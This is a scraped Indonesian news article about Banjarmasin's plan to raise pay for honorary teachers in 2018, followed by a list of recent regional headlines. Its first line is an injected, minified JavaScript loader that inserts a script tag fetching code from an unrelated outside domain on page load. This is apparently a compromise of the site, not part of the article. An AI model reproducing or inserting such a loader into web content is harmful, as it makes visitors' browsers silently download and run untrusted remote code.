(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Asyik, Sebanyak 1.500 Guru Honorer di Banjarmasin akan Naik Gaji!


BANJARMASIN, Para guru honorer di Banjarmasin bisa sedikit lega. Pasalnya, Pemko Banjarmasin melalui Dinas Pendidikan akan menaikkan gaji bagi tenaga guru honorer pada tahun 2018 mendatang. Pemerintah pun akan segera membuatkan payung hukum seputar rencana kenaikan gaji tersebut mengingat pendanaannya bersumber dari APBD.

Kepala Dinas Pendidikan Kota Banjarmasin Totok Agus Daryanto memastikan adanya kenaikan upah tenaga guru honorer tersebut tahun mendatang. Dimana kenaikan upah akan diusulkan dari anggaran Bantuan Operasional Sekolah Daerah (Bosda) tahun 2018.

“Dari usulan beberapa pihak di antaranya PGRI, Inspektorat dan Badan Keuangan, kita lakukan jejak pendapat. Dalam kesimpulannya kita akan menggeser Bosda 2018 untuk guru honorer, tapi ini belum keputusan final memang,” ujar Totok.

Dia mengatakan, pada awalnya diusulkan gaji guru honorer mencapai Rp 1 juta. Tapi karena APBD tidak memungkinkan, angkanya pun akhirnya direvisi. “Namun tidak jauh juga turunnya,” ujar Totok.

Totok mengaku sumbangsih guru honorer sangat besar kiprahnya dalam memajukan pendidikan, sebab daerah itu sangat kekurangan guru Pegawai Negeri Sipil (PNS).

“Coba bayangkan saja, setiap tahunnya itu guru yang pensiun mencapai ratusan orang, tetapi gantinya tidak ada, karena masih moratorium PNS, hingga kalau tidak ada guru honorer ini akan kacau dunia pendidikan di daerah kita,” ujarnya.

Peran guru honorer dalam meningkatkan kualitas pendidikan di daerah itu sangat besar sehingga dinilai wajar jika diberi perhatian atas kesejahteraannya.

“Bayangkan saja ada yang hanya diupah Rp 200 ribu perbulannya mereka ini, tentunya sangat memprihatinkan. Makanya kita coba cari solusi agar kesejahteraan mereka bisa ditingkatkan,” paparnya.

Namun tentunya, guru honorer yang mendapat perhatian kesejahteraan itu memenuhi syarat. Di antaranya mengabdi sekitar dua tahun dan memiliki ijazah S1 pendidikan.

Sebelumnya Disdik juga telah merespon tuntutan guru honorer untuk mendapatkan surat keputusan (SK) dari Walikota. Verifikasi dilakukan bagi guru honorer yang ijazahnya linier dengan pendidikan. Seperti guru kelas harus lulusan dari PGSD. Sedangkan untuk guru mata pelajaran harus lulusan dari pendidikan. (cel/ant)


Desy Arfianty

Recent Posts

Dana Hibah Pengamanan Pilkada 2024 di Banjarmasin Capai Rp8 Miliar

KANALKALIMANTAN.COM, BANJARMASIN - Tahapan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah berjalan, salah satu komponen… Read More

6 jam ago

Bakesbangpol Banjarbaru Serahkan Dana Hibah Pengamanan Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menempatkan dana hibah daerah senilai Rp3 miliar untuk… Read More

6 jam ago

Pemkab HSU Beri Penghargaan Warga yang Hibahkan Tanah untuk Fasilitas Pendidikan

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 134 warga menerima penghargaan dari Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara… Read More

7 jam ago

“Jum’at Berbagi” Polres HSU Sediakan Makanan dan Minuman Gratis

KANALKALIMANTAN.COM, AMUNTAI – “Jum’at Berbagi” menjadi salah satu program yang dijalankan Satuan Pembinaan Masyarakat (Sat… Read More

7 jam ago

Merger TPS di Pilkada 2024, KPU Banjarbaru: Dipastikan Jumlah TPS Berkurang

KANALKALIMANTAN.COM, BANJARBARU - Pelaksanaan Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarbaru sedikit berbeda daripada… Read More

8 jam ago

Resmi! PPP Keluarkan Rekomendasi Aditya Maju Pilwali Banjarbaru

Koalisi PPP-PKB Cukup untuk Pencalonan Aditya, Pasangan Pendamping Belum Ada Read More

11 jam ago

This website uses cookies.